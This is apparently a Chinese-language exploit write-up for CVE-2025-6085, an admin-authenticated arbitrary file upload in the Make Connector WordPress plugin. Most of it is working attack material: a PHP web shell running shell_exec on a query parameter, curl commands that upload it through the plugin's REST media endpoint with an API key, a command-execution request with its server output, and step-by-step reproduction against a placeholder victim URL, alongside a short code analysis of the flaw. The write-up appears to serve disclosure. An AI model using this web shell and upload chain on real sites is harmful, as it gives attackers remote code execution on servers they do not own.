Make Connector <= 1.5.10 - 已认证（管理员+）任意文件上传

该 Make Connector 插件未对其 REST API 媒体上传中的文件类型进行清理，允许管理员及以上用户上传任意文件，并可能导致在服务器上执行代码。

TL;DR 利用方法

cat << 'EOF' > shello.php
<?php    
    // Silence is golden
    if (!empty($_GET['cmd'])) {
        echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
    }
?>
EOF

curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \
  -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \
  -F "[email protected]" \
  -F "title=Hacker World" \
  -F "description=A test file" \
  -F "caption=Hacker Caption" \

上传到上传文件夹后利用 shell：

curl -k https://lab1.hacker/wp-content/uploads/2025/04/shello.php\?cmd\=ip%20addr         

<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 67461sec preferred_lft 67461sec
    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86201sec preferred_lft 14201sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:bd:e1:95:26 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

详情

/wp-content/integromat-connector/class/class-rest-request.php 文件中的 dispatch() 函数会在第 24 行调用 self::upload_media();。该 upload_media() 函数在检查允许的 MIME 类型之前（第 90-95 行），先将上传的文件复制到一个可浏览的目录中（第 74 行：copy( realpath( $_FILES['file']['tmp_name'] ), $media_file_source );）。

来自 class-rest-reques.php 的漏洞片段：

66	                if ( (int) $_FILES['file']['size'] === 0 ) {
67	                        Rest_Response::render_error( 500, 'The uploaded file exceeds the upload_max_filesize directive in php.ini.', 'rest_upload_unknown_error' );
68	                }
69	
70	                if ( (int) $_FILES['file']['error'] > 0 ) {
71	                        Rest_Response::render_error( 500, 'An error has occured when uploading file to the server.', 'rest_upload_unknown_error' );
72	                }
73	
74	                copy( realpath( $_FILES['file']['tmp_name'] ), $media_file_source );
75	
76	                $title       = isset( $_REQUEST['title'] ) ? sanitize_title( $_REQUEST['title'] ) : '';
77	                $description = isset( $_REQUEST['description'] ) ? sanitize_text_field( $_REQUEST['description'] ) : '';
78	                $caption     = isset( $_REQUEST['caption'] ) ? sanitize_text_field( $_REQUEST['caption'] ) : '';
79	                $alt_text    = isset( $_REQUEST['alt_text'] ) ? sanitize_text_field( $_REQUEST['alt_text'] ) : '';
80	                $post_id     = isset( $_REQUEST['post'] ) ? (int) $_REQUEST['post'] : '';
81	
82	                $upload_dir = wp_upload_dir();
83	                $filename   = basename( $media_file_source );
84	                if ( wp_mkdir_p( $upload_dir['path'] ) ) {
85	                        $file = $upload_dir['path'] . '/' . $filename;
86	                } else {
87	                        $file = $upload_dir['basedir'] . '/' . $filename;
88	                }
89	
90	                $wp_file_type  = wp_check_filetype( $filename, null );
91	                $allowed_types = get_allowed_mime_types();
92	
93	                if ( ! in_array( $wp_file_type['type'], $allowed_types ) ) {
94	                        Rest_Response::render_error( 500, 'Sorry, this file type is not permitted for security reasons.', 'rest_upload_unknown_error' );
95	                }

手动复现

登录管理后台并导航到 Make 插件的设置页面，复制 API 密钥。
制作一个简易的 Web Shell，如果你愿意也可以自带：

cat << 'EOF' > shello.php
<?php    
    // Silence is golden
    if (!empty($_GET['cmd'])) {
        echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
    }
?>
EOF

执行以下 curl 命令以访问插件的媒体 REST 端点。

curl -k -X POST \
  https://VICTIMURLHERE/wp-json/wp/v2/media \
  -H "IWC-API-KEY: cjusksft1dwcoq43lyy6a6lf9tb6qc63" \
  -F "[email protected]" \
  -F "title=Hacker World" \
  -F "description=A test file" \
  -F "caption=Hacker Caption" \
  -F "alt_text=Hacker Alt Text"

你会看到类似下面的 JSON 响应，但没关系，因为我们的文件已经被移动了 :)

{
    "code": "rest_upload_unknown_error",
    "message": "Sorry, this file type is not permitted for security reasons.",
    "data": {
        "status": 500
    }
}

导航到位于 https://lab1.hacker/wp-content/uploads/2025/04/shello.php?cmd=ip%20addr 的 Web Shell。

CVE-2025-6085

最受欢迎